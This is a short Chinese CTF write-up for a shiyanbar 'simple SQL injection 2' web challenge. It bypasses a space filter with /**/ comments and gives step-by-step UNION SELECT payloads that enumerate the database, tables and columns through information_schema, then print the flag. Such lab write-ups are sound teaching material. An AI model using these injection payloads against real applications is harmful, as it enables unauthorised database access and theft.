[CTF]简单的sql注入之2

类型:web
网址:http://www.shiyanbar.com/ctf/1908
攻击:sql注入
一句话总结:
id有回显的sql注入(手工)

Writeup:

测试发现过滤空格,用/**/代替空格

爆数据库名称:

1'/**/union/**/select/**/schema_name/**/from/**/information_schema.schemata/**/where/**/'1'='1

结果:web1

爆数据表名称:

1'/**/union/**/select/**/table_name/**/from/**/information_schema.tables/**/where/**/table_schema='web1'/**/and/**/'1'='1

结果三个表,分别是baloteli、flag、web_1

爆flag表字段:

1'/**/union/**/select/**/column_name/**/from/**/information_schema.columns/**/where/**/table_schema='web1'/**/and/**/table_name='flag'/**/and/**/'1'='1

结果三个字段,分别是baloteli、flag、id

爆flag表flag字段的数据:

1'/**/union/**/select/**/flag/**/from/**/flag/**/where/**/'1'='1

结果两条数据,分别是baloteli、flag{Y0u_@r3_5O_dAmn_90Od}

FLAG

flag{Y0u_@r3_5O_dAmn_90Od}

你可能感兴趣的:(渗透)